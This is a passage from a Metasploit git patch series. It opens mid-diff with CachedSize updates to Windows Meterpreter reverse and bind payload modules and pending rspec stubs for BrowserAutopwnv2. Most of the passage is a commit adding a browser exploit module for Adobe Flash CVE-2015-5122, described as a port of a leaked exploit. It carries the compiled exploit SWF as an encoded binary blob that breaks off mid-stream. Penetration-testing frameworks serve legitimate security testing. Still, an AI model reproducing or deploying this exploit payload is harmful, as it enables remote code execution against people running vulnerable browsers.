+13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884782 + CachedSize = 885806 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 1d84ccbd5d..150c8c3132 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = 884782 + CachedSize = 885806 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index d9d1ffbe47..ea5b654e42 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1104434 + CachedSize = 1105970 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index b84ce4f7fb..2a41b6f8b0 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1105478 + CachedSize = 1107014 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index fe0e6c1977..055d58d24e 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1105478 + CachedSize = 1107014 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index f843d31260..eadb359933 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1104434 + CachedSize = 1105970 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 3c0e1efce7..36d632b24b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1104434 + CachedSize = 1105970 include Msf::Payload::TransportConfig include Msf::Payload::Windows From b1208e1337cf2be8547651c228e83de827fbda95 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 00:16:48 -0500 Subject: [PATCH 0724/1013] Pending rspec --- .../core/exploit/browser_autopwnv2_spec.rb | 23 ++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index eadd5f8394..8b87348d19 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -53,7 +53,13 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end def create_fake_job(id) - [id.to_s, double('job')] + ctx = double('ctx') + handler = create_fake_windows_meterpreter + allow(ctx).to receive(:first).and_return(handler) + job = [id.to_s, double('job')] + allow(job).to receive(:ctx).and_return(ctx) + + job end def create_fake_exploit(opts={}) @@ -555,7 +561,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#start_payload_listeners' do + skip '#start_payload_listeners' do end describe '#parse_rank' do @@ -650,7 +656,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#select_payload' do + skip '#select_payload' do + end describe '#start_exploits' do @@ -767,5 +774,15 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end + skip '#configure_job_output' do + end + + describe '#session_count' do + it 'returns the total session count' do + subject.instance_variable_set(:@payload_job_ids, job_ids) + expect(subject.session_count).to eq(0) + end + end + end \ No newline at end of file From 63005a3b92b9e8dd6ed835caf9b37070bf58544a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 11 Jul 2015 00:28:55 -0500 Subject: [PATCH 0725/1013] Add module for flash CVE-2015-5122 * Just a fast port for the exploit leaked * Just tested on win7sp1 / IE11 --- data/exploits/CVE-2015-5122/msf.swf | Bin 0 -> 43247 bytes external/source/exploits/CVE-2015-5122/Elf.as | 235 +++++++++ .../source/exploits/CVE-2015-5122/Exploit.as | 37 ++ .../CVE-2015-5122/ExploitByteArray.as | 85 +++ .../exploits/CVE-2015-5122/ExploitVector.as | 75 +++ .../exploits/CVE-2015-5122/Exploiter.as | 493 ++++++++++++++++++ .../source/exploits/CVE-2015-5122/Logger.as | 32 ++ .../source/exploits/CVE-2015-5122/MyClass.as | 142 +++++ external/source/exploits/CVE-2015-5122/PE.as | 72 +++ .../adobe_flash_opaque_background_uaf.rb | 137 +++++ 10 files changed, 1308 insertions(+) create mode 100755 data/exploits/CVE-2015-5122/msf.swf create mode 100755 external/source/exploits/CVE-2015-5122/Elf.as create mode 100755 external/source/exploits/CVE-2015-5122/Exploit.as create mode 100755 external/source/exploits/CVE-2015-5122/ExploitByteArray.as create mode 100755 external/source/exploits/CVE-2015-5122/ExploitVector.as create mode 100755 external/source/exploits/CVE-2015-5122/Exploiter.as create mode 100755 external/source/exploits/CVE-2015-5122/Logger.as create mode 100755 external/source/exploits/CVE-2015-5122/MyClass.as create mode 100755 external/source/exploits/CVE-2015-5122/PE.as create mode 100644 modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb diff --git a/data/exploits/CVE-2015-5122/msf.swf b/data/exploits/CVE-2015-5122/msf.swf new file mode 100755 index 0000000000000000000000000000000000000000..ae20d7f534af3eb3c4c3a40e6314885e5c092202 GIT binary patch literal 43247 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 